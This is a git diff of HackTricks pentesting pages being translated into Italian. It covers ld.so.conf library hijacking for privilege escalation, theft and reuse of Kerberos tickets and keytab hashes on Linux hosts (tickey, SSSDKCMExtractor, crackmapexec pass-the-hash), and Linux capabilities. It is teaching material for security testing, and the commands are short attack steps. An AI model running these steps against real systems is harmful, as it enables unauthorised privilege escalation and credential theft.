**creato la libreria maligna libcustom all'interno del percorso mal configurato**, dobbiamo aspettare un **riavvio** o che l'utente root esegua **`ldconfig`** (_nel caso tu possa eseguire questo binario come **sudo** o abbia il **bit suid** potrai eseguirlo tu stesso_). -Now that we have **created the malicious libcustom library inside the misconfigured** path, we need to wait for a **reboot** or for the root user to execute **`ldconfig`** (_in case you can execute this binary as **sudo** or it has the **suid bit** you will be able to execute it yourself_). - -Once this has happened **recheck** where is the `sharevuln` executable loading the `libcustom.so` library from: - +Una volta che ciò è accaduto, **ricontrolla** da dove l'eseguibile `sharevuln` sta caricando la libreria `libcustom.so`: ```c $ldd sharedvuln - linux-vdso.so.1 => (0x00007ffeee766000) - libcustom.so => /home/ubuntu/lib/libcustom.so (0x00007f3f27c1a000) - libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f3f27850000) - /lib64/ld-linux-x86-64.so.2 (0x00007f3f27e1c000) +linux-vdso.so.1 => (0x00007ffeee766000) +libcustom.so => /home/ubuntu/lib/libcustom.so (0x00007f3f27c1a000) +libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007f3f27850000) +/lib64/ld-linux-x86-64.so.2 (0x00007f3f27e1c000) ``` - -As you can see it's **loading it from `/home/ubuntu/lib`** and if any user executes it, a shell will be executed: - +Come puoi vedere, **lo sta caricando da `/home/ubuntu/lib`** e se un utente lo esegue, verrà eseguita una shell: ```c $ ./sharedvuln Welcome to my amazing application! @@ -114,40 +99,35 @@ I'm the bad library $ whoami ubuntu ``` - > [!NOTE] -> Note that in this example we haven't escalated privileges, but modifying the commands executed and **waiting for root or other privileged user to execute the vulnerable binary** we will be able to escalate privileges. +> Nota che in questo esempio non abbiamo elevato i privilegi, ma modificando i comandi eseguiti e **aspettando che l'utente root o un altro utente privilegiato esegua il binario vulnerabile** saremo in grado di elevare i privilegi. -### Other misconfigurations - Same vuln +### Altre misconfigurazioni - Stessa vulnerabilità -In the previous example we faked a misconfiguration where an administrator **set a non-privileged folder inside a configuration file inside `/etc/ld.so.conf.d/`**.\ -But there are other misconfigurations that can cause the same vulnerability, if you have **write permissions** in some **config file** inside `/etc/ld.so.conf.d`s, in the folder `/etc/ld.so.conf.d` or in the file `/etc/ld.so.conf` you can configure the same vulnerability and exploit it. +Nell'esempio precedente abbiamo simulato una misconfigurazione in cui un amministratore **ha impostato una cartella non privilegiata all'interno di un file di configurazione in `/etc/ld.so.conf.d/`**.\ +Ma ci sono altre misconfigurazioni che possono causare la stessa vulnerabilità; se hai **permessi di scrittura** in qualche **file di configurazione** all'interno di `/etc/ld.so.conf.d`, nella cartella `/etc/ld.so.conf.d` o nel file `/etc/ld.so.conf` puoi configurare la stessa vulnerabilità e sfruttarla. ## Exploit 2 -**Suppose you have sudo privileges over `ldconfig`**.\ -You can indicate `ldconfig` **where to load the conf files from**, so we can take advantage of it to make `ldconfig` load arbitrary folders.\ -So, lets create the files and folders needed to load "/tmp": - +**Supponi di avere privilegi sudo su `ldconfig`**.\ +Puoi indicare a `ldconfig` **da dove caricare i file di configurazione**, quindi possiamo approfittarne per far caricare a `ldconfig` cartelle arbitrarie.\ +Quindi, creiamo i file e le cartelle necessari per caricare "/tmp": ```bash cd /tmp echo "include /tmp/conf/*" > fake.ld.so.conf echo "/tmp" > conf/evil.conf ``` - -Now, as indicated in the **previous exploit**, **create the malicious library inside `/tmp`**.\ -And finally, lets load the path and check where is the binary loading the library from: - +Ora, come indicato nel **precedente exploit**, **crea la libreria malevola all'interno di `/tmp`**.\ +E infine, carichiamo il percorso e controlliamo da dove il binario sta caricando la libreria: ```bash ldconfig -f fake.ld.so.conf ldd sharedvuln - linux-vdso.so.1 => (0x00007fffa2dde000) - libcustom.so => /tmp/libcustom.so (0x00007fcb07756000) - libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fcb0738c000) - /lib64/ld-linux-x86-64.so.2 (0x00007fcb07958000) +linux-vdso.so.1 => (0x00007fffa2dde000) +libcustom.so => /tmp/libcustom.so (0x00007fcb07756000) +libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fcb0738c000) +/lib64/ld-linux-x86-64.so.2 (0x00007fcb07958000) ``` - -**As you can see, having sudo privileges over `ldconfig` you can exploit the same vulnerability.** +**Come puoi vedere, avere privilegi sudo su `ldconfig` ti consente di sfruttare la stessa vulnerabilità.** {{#include ../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/privilege-escalation/linux-active-directory.md b/src/linux-hardening/privilege-escalation/linux-active-directory.md index 5e355bae5..7ec7fdf6d 100644 --- a/src/linux-hardening/privilege-escalation/linux-active-directory.md +++ b/src/linux-hardening/privilege-escalation/linux-active-directory.md @@ -2,19 +2,17 @@ {{#include ../../banners/hacktricks-training.md}} -{% embed url="https://websec.nl/" %} +Una macchina linux può essere presente anche all'interno di un ambiente Active Directory. -A linux machine can also be present inside an Active Directory environment. +Una macchina linux in un AD potrebbe **memorizzare diversi ticket CCACHE all'interno di file. Questi ticket possono essere utilizzati e abusati come qualsiasi altro ticket kerberos**. Per leggere questi ticket è necessario essere l'utente proprietario del ticket o **root** all'interno della macchina. -A linux machine in an AD might be **storing different CCACHE tickets inside files. This tickets can be used and abused as any other kerberos ticket**. In order to read this tickets you will need to be the user owner of the ticket or **root** inside the machine. +## Enumerazione -## Enumeration +### Enumerazione AD da linux -### AD enumeration from linux +Se hai accesso a un AD in linux (o bash in Windows) puoi provare [https://github.com/lefayjey/linWinPwn](https://github.com/lefayjey/linWinPwn) per enumerare l'AD. -If you have access over an AD in linux (or bash in Windows) you can try [https://github.com/lefayjey/linWinPwn](https://github.com/lefayjey/linWinPwn) to enumerate the AD. - -You can also check the following page to learn **other ways to enumerate AD from linux**: +Puoi anche controllare la seguente pagina per apprendere **altri modi per enumerare l'AD da linux**: {{#ref}} ../../network-services-pentesting/pentesting-ldap.md @@ -22,28 +20,27 @@ You can also check the following page to learn **other ways to enumerate AD from ### FreeIPA -FreeIPA is an open-source **alternative** to Microsoft Windows **Active Directory**, mainly for **Unix** environments. It combines a complete **LDAP directory** with an MIT **Kerberos** Key Distribution Center for management akin to Active Directory. Utilizing the Dogtag **Certificate System** for CA & RA certificate management, it supports **multi-factor** authentication, including smartcards. SSSD is integrated for Unix authentication processes. Learn more about it in: +FreeIPA è un **alternativa** open-source a Microsoft Windows **Active Directory**, principalmente per ambienti **Unix**. Combina un **directory LDAP** completo con un MIT **Kerberos** Key Distribution Center per la gestione simile a Active Directory. Utilizzando il Dogtag **Certificate System** per la gestione dei certificati CA & RA, supporta l'autenticazione **multi-fattore**, inclusi i smartcard. SSSD è integrato per i processi di autenticazione Unix. Scopri di più in: {{#ref}} ../freeipa-pentesting.md {{#endref}} -## Playing with tickets +## Giocare con i ticket ### Pass The Ticket -In this page you are going to find different places were you could **find kerberos tickets inside a linux host**, in the following page you can learn how to transform this CCache tickets formats to Kirbi (the format you need to use in Windows) and also how to perform a PTT attack: +In questa pagina troverai diversi luoghi dove potresti **trovare ticket kerberos all'interno di un host linux**, nella pagina seguente puoi apprendere come trasformare questi formati di ticket CCache in Kirbi (il formato che devi usare in Windows) e anche come eseguire un attacco PTT: {{#ref}} ../../windows-hardening/active-directory-methodology/pass-the-ticket.md {{#endref}} -### CCACHE ticket reuse from /tmp +### Riutilizzo del ticket CCACHE da /tmp -CCACHE files are binary formats for **storing Kerberos credentials** are typically stored with 600 permissions in `/tmp`. These files can be identified by their **name format, `krb5cc_%{uid}`,** correlating to the user's UID. For authentication ticket verification, the **environment variable `KRB5CCNAME`** should be set to the path of the desired ticket file, enabling its reuse. - -List the current ticket used for authentication with `env | grep KRB5CCNAME`. The format is portable and the ticket can be **reused by setting the environment variable** with `export KRB5CCNAME=/tmp/ticket.ccache`. Kerberos ticket name format is `krb5cc_%{uid}` where uid is the user UID. +I file CCACHE sono formati binari per **memorizzare le credenziali Kerberos** e sono tipicamente memorizzati con permessi 600 in `/tmp`. Questi file possono essere identificati dal loro **formato di nome, `krb5cc_%{uid}`,** correlato all'UID dell'utente. Per la verifica del ticket di autenticazione, la **variabile di ambiente `KRB5CCNAME`** deve essere impostata sul percorso del file ticket desiderato, consentendone il riutilizzo. +Elenca il ticket attualmente utilizzato per l'autenticazione con `env | grep KRB5CCNAME`. Il formato è portatile e il ticket può essere **riutilizzato impostando la variabile di ambiente** con `export KRB5CCNAME=/tmp/ticket.ccache`. Il formato del nome del ticket Kerberos è `krb5cc_%{uid}` dove uid è l'UID dell'utente. ```bash # Find tickets ls /tmp/ | grep krb5cc @@ -52,79 +49,62 @@ krb5cc_1000 # Prepare to use it export KRB5CCNAME=/tmp/krb5cc_1000 ``` +### Riutilizzo del ticket CCACHE dalla keyring -### CCACHE ticket reuse from keyring - -**Kerberos tickets stored in a process's memory can be extracted**, particularly when the machine's ptrace protection is disabled (`/proc/sys/kernel/yama/ptrace_scope`). A useful tool for this purpose is found at [https://github.com/TarlogicSecurity/tickey](https://github.com/TarlogicSecurity/tickey), which facilitates the extraction by injecting into sessions and dumping tickets into `/tmp`. - -To configure and use this tool, the steps below are followed: +**I ticket Kerberos memorizzati nella memoria di un processo possono essere estratti**, in particolare quando la protezione ptrace della macchina è disabilitata (`/proc/sys/kernel/yama/ptrace_scope`). Uno strumento utile per questo scopo si trova su [https://github.com/TarlogicSecurity/tickey](https://github.com/TarlogicSecurity/tickey), che facilita l'estrazione iniettando nelle sessioni e dumpando i ticket in `/tmp`. +Per configurare e utilizzare questo strumento, si seguono i seguenti passaggi: ```bash git clone https://github.com/TarlogicSecurity/tickey cd tickey/tickey make CONF=Release /tmp/tickey -i ``` +Questa procedura tenterà di iniettare in varie sessioni, indicando il successo memorizzando i ticket estratti in `/tmp` con una convenzione di denominazione di `__krb_UID.ccache`. -This procedure will attempt to inject into various sessions, indicating success by storing extracted tickets in `/tmp` with a naming convention of `__krb_UID.ccache`. +### Riutilizzo del ticket CCACHE da SSSD KCM -### CCACHE ticket reuse from SSSD KCM - -SSSD maintains a copy of the database at the path `/var/lib/sss/secrets/secrets.ldb`. The corresponding key is stored as a hidden file at the path `/var/lib/sss/secrets/.secrets.mkey`. By default, the key is only readable if you have **root** permissions. - -Invoking \*\*`SSSDKCMExtractor` \*\* with the --database and --key parameters will parse the database and **decrypt the secrets**. +SSSD mantiene una copia del database nel percorso `/var/lib/sss/secrets/secrets.ldb`. La chiave corrispondente è memorizzata come file nascosto nel percorso `/var/lib/sss/secrets/.secrets.mkey`. Per impostazione predefinita, la chiave è leggibile solo se si dispone di permessi **root**. +Invocando \*\*`SSSDKCMExtractor` \*\* con i parametri --database e --key si analizzerà il database e si **decrypteranno i segreti**. ```bash git clone https://github.com/fireeye/SSSDKCMExtractor python3 SSSDKCMExtractor.py --database secrets.ldb --key secrets.mkey ``` +Il **blob della cache delle credenziali Kerberos può essere convertito in un file Kerberos CCache** utilizzabile che può essere passato a Mimikatz/Rubeus. -The **credential cache Kerberos blob can be converted into a usable Kerberos CCache** file that can be passed to Mimikatz/Rubeus. - -### CCACHE ticket reuse from keytab - +### Riutilizzo del ticket CCACHE da keytab ```bash git clone https://github.com/its-a-feature/KeytabParser python KeytabParser.py /etc/krb5.keytab klist -k /etc/krb5.keytab ``` +### Estrai account da /etc/krb5.keytab -### Extract accounts from /etc/krb5.keytab - -Service account keys, essential for services operating with root privileges, are securely stored in **`/etc/krb5.keytab`** files. These keys, akin to passwords for services, demand strict confidentiality. - -To inspect the keytab file's contents, **`klist`** can be employed. The tool is designed to display key details, including the **NT Hash** for user authentication, particularly when the key type is identified as 23. +Le chiavi degli account di servizio, essenziali per i servizi che operano con privilegi di root, sono archiviate in modo sicuro nei file **`/etc/krb5.keytab`**. Queste chiavi, simili a password per i servizi, richiedono una stretta riservatezza. +Per ispezionare il contenuto del file keytab, si può utilizzare **`klist`**. Lo strumento è progettato per visualizzare i dettagli delle chiavi, inclusa la **NT Hash** per l'autenticazione degli utenti, in particolare quando il tipo di chiave è identificato come 23. ```bash klist.exe -t -K -e -k FILE:C:/Path/to/your/krb5.keytab # Output includes service principal details and the NT Hash ``` - -For Linux users, **`KeyTabExtract`** offers functionality to extract the RC4 HMAC hash, which can be leveraged for NTLM hash reuse. - +Per gli utenti Linux, **`KeyTabExtract`** offre funzionalità per estrarre l'hash RC4 HMAC, che può essere utilizzato per il riutilizzo dell'hash NTLM. ```bash python3 keytabextract.py krb5.keytab # Expected output varies based on hash availability ``` - -On macOS, **`bifrost`** serves as a tool for keytab file analysis. - +Su macOS, **`bifrost`** funge da strumento per l'analisi dei file keytab. ```bash ./bifrost -action dump -source keytab -path /path/to/your/file ``` - -Utilizing the extracted account and hash information, connections to servers can be established using tools like **`crackmapexec`**. - +Utilizzando le informazioni sull'account e sull'hash estratte, è possibile stabilire connessioni ai server utilizzando strumenti come **`crackmapexec`**. ```bash crackmapexec 10.XXX.XXX.XXX -u 'ServiceAccount$' -H "HashPlaceholder" -d "YourDOMAIN" ``` - -## References +## Riferimenti - [https://www.tarlogic.com/blog/how-to-attack-kerberos/](https://www.tarlogic.com/blog/how-to-attack-kerberos/) - [https://github.com/TarlogicSecurity/tickey](https://github.com/TarlogicSecurity/tickey) - [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#linux-active-directory](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Active%20Directory%20Attack.md#linux-active-directory) -{% embed url="https://websec.nl/" %} - {{#include ../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/privilege-escalation/linux-capabilities.md b/src/linux-hardening/privilege-escalation/linux-capabilities.md index 2fa1b2717..a6cffcfd6 100644 --- a/src/linux-hardening/privilege-escalation/linux-capabilities.md +++ b/src/linux-hardening/privilege-escalation/linux-capabilities.md @@ -2,90 +2,80 @@ {{#include ../../banners/hacktricks-training.md}} -
- -​​​​​​​​​[**RootedCON**](https://www.rootedcon.com/) is the most relevant cybersecurity event in **Spain** and one of the most important in **Europe**. With **the mission of promoting technical knowledge**, this congress is a boiling meeting point for technology and cybersecurity professionals in every discipline.\\ - -{% embed url="https://www.rootedcon.com/" %} ## Linux Capabilities -Linux capabilities divide **root privileges into smaller, distinct units**, allowing processes to have a subset of privileges. This minimizes the risks by not granting full root privileges unnecessarily. +Le capacità di Linux dividono **i privilegi di root in unità più piccole e distinte**, consentendo ai processi di avere un sottoinsieme di privilegi. Questo riduce i rischi non concedendo inutilmente privilegi di root completi. -### The Problem: +### Il Problema: -- Normal users have limited permissions, affecting tasks like opening a network socket which requires root access. +- Gli utenti normali hanno permessi limitati, influenzando compiti come l'apertura di un socket di rete che richiede accesso root. -### Capability Sets: +### Insiemi di Capacità: 1. **Inherited (CapInh)**: - - **Purpose**: Determines the capabilities passed down from the parent process. - - **Functionality**: When a new process is created, it inherits the capabilities from its parent in this set. Useful for maintaining certain privileges across process spawns. - - **Restrictions**: A process cannot gain capabilities that its parent did not possess. +- **Scopo**: Determina le capacità trasferite dal processo padre. +- **Funzionalità**: Quando viene creato un nuovo processo, eredita le capacità dal suo genitore in questo insieme. Utile per mantenere determinati privilegi attraverso le generazioni di processi. +- **Restrizioni**: Un processo non può acquisire capacità che il suo genitore non possedeva. 2. **Effective (CapEff)**: - - **Purpose**: Represents the actual capabilities a process is utilizing at any moment. - - **Functionality**: It's the set of capabilities checked by the kernel to grant permission for various operations. For files, this set can be a flag indicating if the file's permitted capabilities are to be considered effective. - - **Significance**: The effective set is crucial for immediate privilege checks, acting as the active set of capabilities a process can use. +- **Scopo**: Rappresenta le capacità effettive che un processo sta utilizzando in un dato momento. +- **Funzionalità**: È l'insieme di capacità controllato dal kernel per concedere permessi per varie operazioni. Per i file, questo insieme può essere un flag che indica se le capacità consentite del file devono essere considerate efficaci. +- **Significato**: L'insieme effettivo è cruciale per i controlli immediati dei privilegi, fungendo da insieme attivo di capacità che un processo può utilizzare. 3. **Permitted (CapPrm)**: - - **Purpose**: Defines the maximum set of capabilities a process can possess. - - **Functionality**: A process can elevate a capability from the permitted set to its effective set, giving it the ability to use that capability. It can also drop capabilities from its permitted set. - - **Boundary**: It acts as an upper limit for the capabilities a process can have, ensuring a process doesn't exceed its predefined privilege scope. +- **Scopo**: Definisce l'insieme massimo di capacità che un processo può possedere. +- **Funzionalità**: Un processo può elevare una capacità dall'insieme permesso al suo insieme effettivo, dandogli la possibilità di utilizzare quella capacità. Può anche rinunciare a capacità dal suo insieme permesso. +- **Limite**: Funziona come un limite superiore per le capacità che un processo può avere, assicurando che un processo non superi il proprio ambito di privilegi predefinito. 4. **Bounding (CapBnd)**: - - **Purpose**: Puts a ceiling on the capabilities a process can ever acquire during its lifecycle. - - **Functionality**: Even if a process has a certain capability in its inheritable or permitted set, it cannot acquire that capability unless it's also in the bounding set. - - **Use-case**: This set is particularly useful for restricting a process's privilege escalation potential, adding an extra layer of security. +- **Scopo**: Impone un tetto sulle capacità che un processo può mai acquisire durante il suo ciclo di vita. +- **Funzionalità**: Anche se un processo ha una certa capacità nel suo insieme ereditabile o permesso, non può acquisire quella capacità a meno che non sia anche nell'insieme di bounding. +- **Caso d'uso**: Questo insieme è particolarmente utile per limitare il potenziale di escalation dei privilegi di un processo, aggiungendo un ulteriore livello di sicurezza. 5. **Ambient (CapAmb)**: - - **Purpose**: Allows certain capabilities to be maintained across an `execve` system call, which typically would result in a full reset of the process's capabilities. - - **Functionality**: Ensures that non-SUID programs that don't have associated file capabilities can retain certain privileges. - - **Restrictions**: Capabilities in this set are subject to the constraints of the inheritable and permitted sets, ensuring they don't exceed the process's allowed privileges. - +- **Scopo**: Consente a determinate capacità di essere mantenute attraverso una chiamata di sistema `execve`, che normalmente comporterebbe un ripristino completo delle capacità del processo. +- **Funzionalità**: Garantisce che i programmi non-SUID che non hanno capacità di file associate possano mantenere determinati privilegi. +- **Restrizioni**: Le capacità in questo insieme sono soggette ai vincoli degli insiemi ereditabili e permessi, assicurando che non superino i privilegi consentiti del processo. ```python # Code to demonstrate the interaction of different capability sets might look like this: # Note: This is pseudo-code for illustrative purposes only. def manage_capabilities(process): - if process.has_capability('cap_setpcap'): - process.add_capability_to_set('CapPrm', 'new_capability') - process.limit_capabilities('CapBnd') - process.preserve_capabilities_across_execve('CapAmb') +if process.has_capability('cap_setpcap'): +process.add_capability_to_set('CapPrm', 'new_capability') +process.limit_capabilities('CapBnd') +process.preserve_capabilities_across_execve('CapAmb') ``` - -For further information check: +Per ulteriori informazioni controlla: - [https://blog.container-solutions.com/linux-capabilities-why-they-exist-and-how-they-work](https://blog.container-solutions.com/linux-capabilities-why-they-exist-and-how-they-work) - [https://blog.ploetzli.ch/2014/understanding-linux-capabilities/](https://blog.ploetzli.ch/2014/understanding-linux-capabilities/) -## Processes & Binaries Capabilities +## Capacità dei Processi e dei Binaries -### Processes Capabilities +### Capacità dei Processi -To see the capabilities for a particular process, use the **status** file in the /proc directory. As it provides more details, let’s limit it only to the information related to Linux capabilities.\ -Note that for all running processes capability information is maintained per thread, for binaries in the file system it’s stored in extended attributes. +Per vedere le capacità di un particolare processo, usa il file **status** nella directory /proc. Poiché fornisce più dettagli, limitiamolo solo alle informazioni relative alle capacità di Linux.\ +Nota che per tutti i processi in esecuzione, le informazioni sulle capacità sono mantenute per thread, mentre per i binaries nel file system sono memorizzate in attributi estesi. -You can find the capabilities defined in /usr/include/linux/capability.h - -You can find the capabilities of the current process in `cat /proc/self/status` or doing `capsh --print` and of other users in `/proc//status` +Puoi trovare le capacità definite in /usr/include/linux/capability.h +Puoi trovare le capacità del processo corrente in `cat /proc/self/status` o eseguendo `capsh --print` e di altri utenti in `/proc//status` ```bash cat /proc/1234/status | grep Cap cat /proc/$$/status | grep Cap #This will print the capabilities of the current process ``` +Questo comando dovrebbe restituire 5 righe sulla maggior parte dei sistemi. -This command should return 5 lines on most systems. - -- CapInh = Inherited capabilities -- CapPrm = Permitted capabilities -- CapEff = Effective capabilities -- CapBnd = Bounding set -- CapAmb = Ambient capabilities set - +- CapInh = Capacità ereditate +- CapPrm = Capacità consentite +- CapEff = Capacità effettive +- CapBnd = Insieme di limitazione +- CapAmb = Insieme di capacità ambientali ```bash #These are the typical capabilities of a root owned process (all) CapInh: 0000000000000000 @@ -94,16 +84,12 @@ CapEff: 0000003fffffffff CapBnd: 0000003fffffffff CapAmb: 0000000000000000 ``` - -These hexadecimal numbers don’t make sense. Using the capsh utility we can decode them into the capabilities name. - +Questi numeri esadecimali non hanno senso. Utilizzando l'utilità capsh possiamo decodificarli nei nomi delle capacità. ```bash capsh --decode=0000003fffffffff 0x0000003fffffffff=cap_chown,cap_dac_override,cap_dac_read_search,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_linux_immutable,cap_net_bind_service,cap_net_broadcast,cap_net_admin,cap_net_raw,cap_ipc_lock,cap_ipc_owner,cap_sys_module,cap_sys_rawio,cap_sys_chroot,cap_sys_ptrace,cap_sys_pacct,cap_sys_admin,cap_sys_boot,cap_sys_nice,cap_sys_resource,cap_sys_time,cap_sys_tty_config,cap_mknod,cap_lease,cap_audit_write,cap_audit_control,cap_setfcap,cap_mac_override,cap_mac_admin,cap_syslog,cap_wake_alarm,cap_block_suspend,37 ``` - -Lets check now the **capabilities** used by `ping`: - +Controlliamo ora le **capabilities** utilizzate da `ping`: ```bash cat /proc/9491/status | grep Cap CapInh: 0000000000000000 @@ -115,15 +101,11 @@ CapAmb: 0000000000000000 capsh --decode=0000000000003000 0x0000000000003000=cap_net_admin,cap_net_raw ``` - -Although that works, there is another and easier way. To see the capabilities of a running process, simply use the **getpcaps** tool followed by its process ID (PID). You can also provide a list of process IDs. - +Sebbene funzioni, c'è un altro modo più semplice. Per vedere le capacità di un processo in esecuzione, utilizza semplicemente lo strumento **getpcaps** seguito dal suo ID processo (PID). Puoi anche fornire un elenco di ID processo. ```bash getpcaps 1234 ``` - -Lets check here the capabilities of `tcpdump` after having giving the binary enough capabilities (`cap_net_admin` and `cap_net_raw`) to sniff the network (_tcpdump is running in process 9562_): - +Controlliamo qui le capacità di `tcpdump` dopo aver dato al binario sufficienti capacità (`cap_net_admin` e `cap_net_raw`) per sniffare la rete (_tcpdump è in esecuzione nel processo 9562_): ```bash #The following command give tcpdump the needed capabilities to sniff traffic $ setcap cap_net_raw,cap_net_admin=eip /usr/sbin/tcpdump @@ -141,53 +123,43 @@ CapAmb: 0000000000000000 $ capsh --decode=0000000000003000 0x0000000000003000=cap_net_admin,cap_net_raw ``` +Come puoi vedere, le capacità fornite corrispondono ai risultati dei 2 modi per ottenere le capacità di un binario.\ +Lo strumento _getpcaps_ utilizza la chiamata di sistema **capget()** per interrogare le capacità disponibili per un particolare thread. Questa chiamata di sistema ha bisogno solo di fornire il PID per ottenere ulteriori informazioni. -As you can see the given capabilities corresponds with the results of the 2 ways of getting the capabilities of a binary.\ -The _getpcaps_ tool uses the **capget()** system call to query the available capabilities for a particular thread. This system call only needs to provide the PID to obtain more information. - -### Binaries Capabilities - -Binaries can have capabilities that can be used while executing. For example, it's very common to find `ping` binary with `cap_net_raw` capability: +### Capacità dei binari +I binari possono avere capacità che possono essere utilizzate durante l'esecuzione. Ad esempio, è molto comune trovare il binario `ping` con la capacità `cap_net_raw`: ```bash getcap /usr/bin/ping /usr/bin/ping = cap_net_raw+ep ``` - -You can **search binaries with capabilities** using: - +Puoi **cercare binari con capacità** utilizzando: ```bash getcap -r / 2>/dev/null ``` +### Rimozione delle capacità con capsh -### Dropping capabilities with capsh - -If we drop the CAP*NET_RAW capabilities for \_ping*, then the ping utility should no longer work. - +Se rimuoviamo le capacità CAP*NET_RAW per \_ping*, allora l'utilità ping non dovrebbe più funzionare. ```bash capsh --drop=cap_net_raw --print -- -c "tcpdump" ``` +Oltre all'output di _capsh_ stesso, anche il comando _tcpdump_ dovrebbe sollevare un errore. -Besides the output of _capsh_ itself, the _tcpdump_ command itself should also raise an error. +> /bin/bash: /usr/sbin/tcpdump: Operazione non permessa -> /bin/bash: /usr/sbin/tcpdump: Operation not permitted +L'errore mostra chiaramente che il comando ping non è autorizzato ad aprire un socket ICMP. Ora sappiamo con certezza che questo funziona come previsto. -The error clearly shows that the ping command is not allowed to open an ICMP socket. Now we know for sure that this works as expected. - -### Remove Capabilities - -You can remove capabilities of a binary with +### Rimuovere le Capacità +Puoi rimuovere le capacità di un binario con ```bash setcap -r ``` - ## User Capabilities -Apparently **it's possible to assign capabilities also to users**. This probably means that every process executed by the user will be able to use the users capabilities.\ -Base on on [this](https://unix.stackexchange.com/questions/454708/how-do-you-add-cap-sys-admin-permissions-to-user-in-centos-7), [this ](http://manpages.ubuntu.com/manpages/bionic/man5/capability.conf.5.html)and [this ](https://stackoverflow.com/questions/1956732/is-it-possible-to-configure-linux-capabilities-per-user)a few files new to be configured to give a user certain capabilities but the one assigning the capabilities to each user will be `/etc/security/capability.conf`.\ -File example: - +Apparentemente **è possibile assegnare capacità anche agli utenti**. Questo probabilmente significa che ogni processo eseguito dall'utente sarà in grado di utilizzare le capacità degli utenti.\ +Basato su [this](https://unix.stackexchange.com/questions/454708/how-do-you-add-cap-sys-admin-permissions-to-user-in-centos-7), [this ](http://manpages.ubuntu.com/manpages/bionic/man5/capability.conf.5.html) e [this ](https://stackoverflow.com/questions/1956732/is-it-possible-to-configure-linux-capabilities-per-user) alcuni file devono essere configurati per dare a un utente determinate capacità, ma quello che assegna le capacità a ciascun utente sarà `/etc/security/capability.conf`.\ +Esempio di file: ```bash # Simple cap_sys_ptrace developer @@ -201,24 +173,22 @@ cap_net_admin,cap_net_raw jrnetadmin # Combining names and numerics cap_sys_admin,22,25 jrsysadmin ``` +## Capacità dell'Ambiente -## Environment Capabilities - -Compiling the following program it's possible to **spawn a bash shell inside an environment that provides capabilities**. - +Compilando il seguente programma è possibile **generare una shell bash all'interno di un ambiente che fornisce capacità**. ```c:ambient.c /* - * Test program for the ambient capabilities - * - * compile using: - * gcc -Wl,--no-as-needed -lcap-ng -o ambient ambient.c - * Set effective, inherited and permitted capabilities to the compiled binary - * sudo setcap cap_setpcap,cap_net_raw,cap_net_admin,cap_sys_nice+eip ambient - * - * To get a shell with additional caps that can be inherited do: - * - * ./ambient /bin/bash - */ +* Test program for the ambient capabilities +* +* compile using: +* gcc -Wl,--no-as-needed -lcap-ng -o ambient ambient.c +* Set effective, inherited and permitted capabilities to the compiled binary +* sudo setcap cap_setpcap,cap_net_raw,cap_net_admin,cap_sys_nice+eip ambient +* +* To get a shell with additional caps that can be inherited do: +* +* ./ambient /bin/bash +*/ #include #include @@ -229,70 +199,70 @@ Compiling the following program it's possible to **spawn a bash shell inside an #include static void set_ambient_cap(int cap) { - int rc; - capng_get_caps_process(); - rc = capng_update(CAPNG_ADD, CAPNG_INHERITABLE, cap); - if (rc) { - printf("Cannot add inheritable cap\n"); - exit(2); - } - capng_apply(CAPNG_SELECT_CAPS); - /* Note the two 0s at the end. Kernel checks for these */ - if (prctl(PR_CAP_AMBIENT, PR_CAP_AMBIENT_RAISE, cap, 0, 0)) { - perror("Cannot set cap"); - exit(1); - } +int rc; +capng_get_caps_process(); +rc = capng_update(CAPNG_ADD, CAPNG_INHERITABLE, cap); +if (rc) { +printf("Cannot add inheritable cap\n"); +exit(2); +} +capng_apply(CAPNG_SELECT_CAPS); +/* Note the two 0s at the end. Kernel checks for these */ +if (prctl(PR_CAP_AMBIENT, PR_CAP_AMBIENT_RAISE, cap, 0, 0)) { +perror("Cannot set cap"); +exit(1); +} } void usage(const char * me) { - printf("Usage: %s [-c caps] new-program new-args\n", me); - exit(1); +printf("Usage: %s [-c caps] new-program new-args\n", me); +exit(1); } int default_caplist[] = { - CAP_NET_RAW, - CAP_NET_ADMIN, - CAP_SYS_NICE, - -1 +CAP_NET_RAW, +CAP_NET_ADMIN, +CAP_SYS_NICE, +-1 }; int * get_caplist(const char * arg) { - int i = 1; - int * list = NULL; - char * dup = strdup(arg), * tok; - for (tok = strtok(dup, ","); tok; tok = strtok(NULL, ",")) { - list = realloc(list, (i + 1) * sizeof(int)); - if (!list) { - perror("out of memory"); - exit(1); - } - list[i - 1] = atoi(tok); - list[i] = -1; - i++; - } - return list; +int i = 1; +int * list = NULL; +char * dup = strdup(arg), * tok; +for (tok = strtok(dup, ","); tok; tok = strtok(NULL, ",")) { +list = realloc(list, (i + 1) * sizeof(int)); +if (!list) { +perror("out of memory"); +exit(1); +} +list[i - 1] = atoi(tok); +list[i] = -1; +i++; +} +return list; } int main(int argc, char ** argv) { - int rc, i, gotcaps = 0; - int * caplist = NULL; - int index = 1; // argv index for cmd to start - if (argc < 2) - usage(argv[0]); - if (strcmp(argv[1], "-c") == 0) { - if (argc <= 3) { - usage(argv[0]); - } - caplist = get_caplist(argv[2]); - index = 3; - } - if (!caplist) { - caplist = (int * ) default_caplist; - } - for (i = 0; caplist[i] != -1; i++) { - printf("adding %d to ambient list\n", caplist[i]); - set_ambient_cap(caplist[i]); - } - printf("Ambient forking shell\n"); - if (execv(argv[index], argv + index)) - perror("Cannot exec"); - return 0; +int rc, i, gotcaps = 0; +int * caplist = NULL; +int index = 1; // argv index for cmd to start +if (argc < 2) +usage(argv[0]); +if (strcmp(argv[1], "-c") == 0) { +if (argc <= 3) { +usage(argv[0]); +} +caplist = get_caplist(argv[2]); +index = 3; +} +if (!caplist) { +caplist = (int * ) default_caplist; +} +for (i = 0; caplist[i] != -1; i++) { +printf("adding %d to ambient list\n", caplist[i]); +set_ambient_cap(caplist[i]); +} +printf("Ambient forking shell\n"); +if (execv(argv[index], argv + index)) +perror("Cannot exec"); +return 0; } ``` @@ -301,40 +271,34 @@ gcc -Wl,--no-as-needed -lcap-ng -o ambient ambient.c sudo setcap 